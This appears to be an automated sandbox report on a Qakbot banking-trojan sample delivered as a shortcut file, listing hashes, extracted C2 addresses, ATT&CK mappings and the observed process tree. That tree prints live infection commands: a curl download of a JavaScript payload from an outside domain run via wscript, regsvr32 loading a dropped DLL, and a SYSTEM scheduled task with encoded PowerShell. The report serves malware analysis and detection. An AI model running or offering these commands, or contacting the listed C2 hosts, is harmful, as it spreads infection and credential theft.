qakbot | d4f10179feaae49a3fdf52fca2451a2d238ea4d94c8f72c9230a9bce45f7ab55

General

Target

doc/Valid155.lnk
Size

2KB
MD5

41c12342c2571e0030be5e2d167a836e
SHA1

a54d3181fddc3ab15cb482865a255a74052c4e56
SHA256

2b692ca392558fca23f219383cc7c23c4b3dca641a3e49c9b48f096df091273e
SHA512

4aeb1575dd294455b9f585b618ce7d3526e771a5fc98ea22b3231c5cc253e9f3bd2e0adfc4aefe4f566d62955f2cfe565ea5099f19bea6b908490f2ec7d8a42e

Score

10^/10

qakbot bb 1662647912 banker stealer trojan

Malware Config

Extracted

Family

qakbot

Version

403.860

Botnet

BB

Campaign

1662647912

C2

197.94.210.133:443

193.3.19.37:443

70.51.153.182:2222

99.232.140.205:2222

123.240.131.1:443

177.102.84.28:32101

105.156.152.227:443

190.59.247.136:995

89.211.218.88:2222

81.214.220.237:443

85.99.62.74:443

191.97.234.238:995

81.131.161.131:2078

217.165.68.122:993

219.69.103.199:443

37.210.148.30:995

64.207.215.69:443

113.169.57.104:443

179.225.221.169:32101

151.234.99.49:990

Attributes

salt
SoNuce]ugdiB3c[doMuce2s81*uXmcvP

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot
Blocklisted process makes network request 2 IoCs

Processes:

wscript.exe

flow pid process

23 4320 wscript.exe
24 4320 wscript.exe
Downloads MZ/PE file

flow	pid	process
23	4320	wscript.exe
24	4320	wscript.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exewscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 3 IoCs

Processes:

regsvr32.exeregsvr32.exe

pid process

3416 regsvr32.exe
3416 regsvr32.exe
3916 regsvr32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4392 schtasks.exe

pid	process
4392	schtasks.exe

Modifies data under HKEY_USERS 51 IoCs

Processes:

powershell.exeexplorer.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Pngzepolktjui\bdd36fa2 = 631b54ae1d9321e8be7a8e2934e58aee3bc73a56cab1be0540b8c6e760dff8ba01bbb5f9d0ce145cf8b4ca738be53439a75e5c6321c265fc385d255f9b1246d7c28917bf6c0e907ff68dbcd3b11beccc2b8c382d61a82b9718903a5e9b09442d709bdc5d93c7b7dc5606b913b38cd4cfce38	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Pngzepolktjui\f544f066 = 953269c7a42a4e67b13a6cae12b5fe	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Pngzepolktjui	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Pngzepolktjui\56f08c7 = e79eb290bcc607a99230e96346fb6ada34661acbc9204eed2107b311f12230fdeb72cc4fbdad66619644dbb4763d269376b1198ab0407e8d	explorer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Pngzepolktjui\7867474d = 30f0619c86ff363e9e38487c1ccbe4b50fb75f33c9faddda8a20f227c0dade5243a202a53379368b3b5938ef7ed504d8eb26029656100e8d70c790588f2a3efc24d3e1004a12303175472a7019c38641dc99	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Pngzepolktjui\8a0d9f90 = 7adc73dad614f5b28cd759b7f419afc54e220c3ad1e569f74457e7f2c9335afd558926c5e5a77278a722afffcacf62788b0eef3969c169b75a38d315ce69b120c47ae157970195e38fed095d238c8d	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Pngzepolktjui\bf924fde = 25a199d6cb21bb30836def6d73ec3dc4db38ba82a5a4826da17366fa2a760c086b0b4bd042dcdc151f3048643ec4805336ba956f8cb12074374d123aec8445cdb7ba189d67b031af5c4352c891944a3d2e1f9389691b00d2037502b5a6a54d4eb6617c4224b8bd1655d523dd7798b6d8f00266aa2f7ff2f4cfc5c7bdb92ddd8a50d6c6a6c121265217a83d795e72733cdc780fa82c7e26617abe	explorer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Pngzepolktjui\c0db2028 = 106a959427f732ab15895bd73c54bf452dc4bc7f70d556bd480fa3f84bfb9282a56d4d5179316ed64882d87edafe270c25c82086aff2802564d82a4dd702b116b25aad8180d7e0fd38f26fedc5e25bae3bbae446c9c03da5138a6b0f62b17b5c689535ff555024c3d652749211db	explorer.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Pngzepolktjui\72e28bb = 8fc746b571f11829448fca651c28d7ba62334b0a5f09e8e27cac296010bf3eea9dc81c4a0dcef4fea9da9f31d76f1f8f95a1c119bd6bf7cc43a470acba1d5d76fb9893b61a53b3be81b8292481815ca297339c1fab79b3aeaaf6a346b859131bfebf17e00d5a29ec59a7	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Pngzepolktjui\8a0d9f90 = 7adc64dad614c654220d59b78cb1f4ac7a7bd37f31710c861448a31eae14afe46f28c9e8a7442e79fef224316ee298a675968cca6851faf6f01cca6fc5cd45b176a9eb0b932f568f53ee0b9e1b7df88caa08a61bbdf45fc5902c36d525b5d9142104c695	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4356 PING.EXE

pid	process
4356	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

regsvr32.exeexplorer.exe

pid	process
3416	regsvr32.exe
3416	regsvr32.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe
1780	explorer.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

regsvr32.exeregsvr32.exe

pid process

3416 regsvr32.exe
3916 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2180 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2180	powershell.exe

Suspicious use of WriteProcessMemory 33 IoCs

Processes:

cmd.execmd.exewscript.execmd.exeregsvr32.exeregsvr32.exeexplorer.exepowershell.exeregsvr32.exeregsvr32.exe

description	pid	process	target process
PID 4108 wrote to memory of 2188	4108	cmd.exe	cmd.exe
PID 4108 wrote to memory of 2188	4108	cmd.exe	cmd.exe
PID 2188 wrote to memory of 1420	2188	cmd.exe	curl.exe
PID 2188 wrote to memory of 1420	2188	cmd.exe	curl.exe
PID 2188 wrote to memory of 4320	2188	cmd.exe	wscript.exe
PID 2188 wrote to memory of 4320	2188	cmd.exe	wscript.exe
PID 4320 wrote to memory of 2508	4320	wscript.exe	cmd.exe
PID 4320 wrote to memory of 2508	4320	wscript.exe	cmd.exe
PID 2508 wrote to memory of 4356	2508	cmd.exe	PING.EXE
PID 2508 wrote to memory of 4356	2508	cmd.exe	PING.EXE
PID 2508 wrote to memory of 4256	2508	cmd.exe	regsvr32.exe
PID 2508 wrote to memory of 4256	2508	cmd.exe	regsvr32.exe
PID 4256 wrote to memory of 3416	4256	regsvr32.exe	regsvr32.exe
PID 4256 wrote to memory of 3416	4256	regsvr32.exe	regsvr32.exe
PID 4256 wrote to memory of 3416	4256	regsvr32.exe	regsvr32.exe
PID 3416 wrote to memory of 1780	3416	regsvr32.exe	explorer.exe
PID 3416 wrote to memory of 1780	3416	regsvr32.exe	explorer.exe
PID 3416 wrote to memory of 1780	3416	regsvr32.exe	explorer.exe
PID 3416 wrote to memory of 1780	3416	regsvr32.exe	explorer.exe
PID 3416 wrote to memory of 1780	3416	regsvr32.exe	explorer.exe
PID 1780 wrote to memory of 4392	1780	explorer.exe	schtasks.exe
PID 1780 wrote to memory of 4392	1780	explorer.exe	schtasks.exe
PID 1780 wrote to memory of 4392	1780	explorer.exe	schtasks.exe
PID 2180 wrote to memory of 3544	2180	powershell.exe	regsvr32.exe
PID 2180 wrote to memory of 3544	2180	powershell.exe	regsvr32.exe
PID 3544 wrote to memory of 3916	3544	regsvr32.exe	regsvr32.exe
PID 3544 wrote to memory of 3916	3544	regsvr32.exe	regsvr32.exe
PID 3544 wrote to memory of 3916	3544	regsvr32.exe	regsvr32.exe
PID 3916 wrote to memory of 1016	3916	regsvr32.exe	explorer.exe
PID 3916 wrote to memory of 1016	3916	regsvr32.exe	explorer.exe
PID 3916 wrote to memory of 1016	3916	regsvr32.exe	explorer.exe
PID 3916 wrote to memory of 1016	3916	regsvr32.exe	explorer.exe
PID 3916 wrote to memory of 1016	3916	regsvr32.exe	explorer.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\doc\Valid155.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4108

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c echo 'HI_U' && MD "C:\Users\Admin\AppData\Local\ur\B4O" && curl.exe --output C:\Users\Admin\AppData\Local\ur\B4O\enhrP.s_1L.QH0w.js https://purepowerinc.net/nluGZ/082.html && cd "C:\Users\Admin\AppData\Local\ur\B4O" && wscript enhrP.s_1L.QH0w.js && echo "Nj"
2⤵
- Suspicious use of WriteProcessMemory
PID:2188

C:\Windows\system32\curl.exe
curl.exe --output C:\Users\Admin\AppData\Local\ur\B4O\enhrP.s_1L.QH0w.js https://purepowerinc.net/nluGZ/082.html
3⤵
PID:1420

C:\Windows\system32\wscript.exe
wscript enhrP.s_1L.QH0w.js
3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4320

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C ping go.com && regsvr32 _WUF.dll
4⤵
- Suspicious use of WriteProcessMemory
PID:2508

C:\Windows\system32\PING.EXE
ping go.com
5⤵
- Runs ping.exe
PID:4356

C:\Windows\system32\regsvr32.exe
regsvr32 _WUF.dll
5⤵
- Suspicious use of WriteProcessMemory
PID:4256

C:\Windows\SysWOW64\regsvr32.exe
_WUF.dll
6⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3416

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1780

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 21:00 /tn vepennhq /ET 21:11 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXAB1AHIAXABCADQATwBcAF8AVwBVAEYALgBkAGwAbAAiAA==" /SC ONCE
8⤵
- Creates scheduled task(s)
PID:4392

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXAB1AHIAXABCADQATwBcAF8AVwBVAEYALgBkAGwAbAAiAA==
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2180

C:\Windows\system32\regsvr32.exe
"C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\ur\B4O\_WUF.dll
2⤵
- Suspicious use of WriteProcessMemory
PID:3544

C:\Windows\SysWOW64\regsvr32.exe
C:\Users\Admin\AppData\Local\ur\B4O\_WUF.dll
3⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3916

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
4⤵
- Modifies data under HKEY_USERS
PID:1016

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\ur\B4O\_WUF.dll
Filesize
548KB

MD5
640c452ee47770d7d77a0c0ae1a8c4bb

SHA1
e095fedc8f40d5b76e76adbc7cce1e22720b14ba

SHA256
1b4f615fe1136b4b0f035ed99570e8773e5e74d926735bd0b3ba0f86f30ca290

SHA512
f35fc0475a129639dacd1403b467d85e1b368545b1ce23dd02b9e28370b08ad8c7c7fbaea80005872bf8ee79f5e0841e4a71c0a26d378b13e9d7ddbe9e45f80a

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_WUF.dll
Filesize
548KB

MD5
640c452ee47770d7d77a0c0ae1a8c4bb

SHA1
e095fedc8f40d5b76e76adbc7cce1e22720b14ba

SHA256
1b4f615fe1136b4b0f035ed99570e8773e5e74d926735bd0b3ba0f86f30ca290

SHA512
f35fc0475a129639dacd1403b467d85e1b368545b1ce23dd02b9e28370b08ad8c7c7fbaea80005872bf8ee79f5e0841e4a71c0a26d378b13e9d7ddbe9e45f80a

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_WUF.dll
Filesize
548KB

MD5
640c452ee47770d7d77a0c0ae1a8c4bb

SHA1
e095fedc8f40d5b76e76adbc7cce1e22720b14ba

SHA256
1b4f615fe1136b4b0f035ed99570e8773e5e74d926735bd0b3ba0f86f30ca290

SHA512
f35fc0475a129639dacd1403b467d85e1b368545b1ce23dd02b9e28370b08ad8c7c7fbaea80005872bf8ee79f5e0841e4a71c0a26d378b13e9d7ddbe9e45f80a

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_WUF.dll
Filesize
548KB

MD5
640c452ee47770d7d77a0c0ae1a8c4bb

SHA1
e095fedc8f40d5b76e76adbc7cce1e22720b14ba

SHA256
1b4f615fe1136b4b0f035ed99570e8773e5e74d926735bd0b3ba0f86f30ca290

SHA512
f35fc0475a129639dacd1403b467d85e1b368545b1ce23dd02b9e28370b08ad8c7c7fbaea80005872bf8ee79f5e0841e4a71c0a26d378b13e9d7ddbe9e45f80a

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\_WUF.dll
Filesize
548KB

MD5
640c452ee47770d7d77a0c0ae1a8c4bb

SHA1
e095fedc8f40d5b76e76adbc7cce1e22720b14ba

SHA256
1b4f615fe1136b4b0f035ed99570e8773e5e74d926735bd0b3ba0f86f30ca290

SHA512
f35fc0475a129639dacd1403b467d85e1b368545b1ce23dd02b9e28370b08ad8c7c7fbaea80005872bf8ee79f5e0841e4a71c0a26d378b13e9d7ddbe9e45f80a

Download Submit
C:\Users\Admin\AppData\Local\ur\B4O\enhrP.s_1L.QH0w.js
Filesize
132KB

MD5
253ad74e5aa214a0bf29e646c4b3879f

SHA1
8ab4bb418dbe65a02ecf0d0fd5c4f0dff4d3a603

SHA256
bf1cfd9542d706afd19954100f90b3b2558c6ec5b885b2cbd8dc451ebd860630

SHA512
16dbc08740d0ead7159d8e528df902eb962ea4a4f785566aba2f9ceacb85eb755da258f577ab8063448796e8628a5e7b91006f0b17c47b13071f2647b1cc620c

Download Submit
memory/1016-162-0x0000000000EA0000-0x0000000000EC2000-memory.dmp

Filesize
136KB

Download
memory/1016-161-0x0000000000EA0000-0x0000000000EC2000-memory.dmp

Filesize
136KB

Download
memory/1016-159-0x0000000000000000-mapping.dmp

Download
memory/1420-133-0x0000000000000000-mapping.dmp

Download
memory/1780-148-0x0000000000D70000-0x0000000000D92000-memory.dmp

Filesize
136KB

Download
memory/1780-150-0x0000000000D70000-0x0000000000D92000-memory.dmp

Filesize
136KB

Download
memory/1780-146-0x0000000000000000-mapping.dmp

Download
memory/2180-151-0x00000182C7B50000-0x00000182C7B72000-memory.dmp

Filesize
136KB

Download
memory/2180-156-0x00007FFE34AB0000-0x00007FFE35571000-memory.dmp

Filesize
10.8MB

Download
memory/2188-132-0x0000000000000000-mapping.dmp

Download
memory/2508-136-0x0000000000000000-mapping.dmp

Download
memory/3416-140-0x0000000000000000-mapping.dmp

Download
memory/3416-147-0x0000000000ED0000-0x0000000000EF2000-memory.dmp

Filesize
136KB

Download
memory/3416-145-0x0000000000ED0000-0x0000000000EF2000-memory.dmp

Filesize
136KB

Download
memory/3416-144-0x0000000000EA0000-0x0000000000EC4000-memory.dmp

Filesize
144KB

Download
memory/3416-143-0x0000000000950000-0x00000000009D6000-memory.dmp

Filesize
536KB

Download
memory/3544-152-0x0000000000000000-mapping.dmp

Download
memory/3916-154-0x0000000000000000-mapping.dmp

Download
memory/3916-157-0x0000000003BA0000-0x0000000003BC4000-memory.dmp

Filesize
144KB

Download
memory/3916-158-0x0000000003BF0000-0x0000000003C12000-memory.dmp

Filesize
136KB

Download
memory/3916-160-0x0000000003BF0000-0x0000000003C12000-memory.dmp

Filesize
136KB

Download
memory/4256-138-0x0000000000000000-mapping.dmp

Download
memory/4320-134-0x0000000000000000-mapping.dmp

Download
memory/4356-137-0x0000000000000000-mapping.dmp

Download
memory/4392-149-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads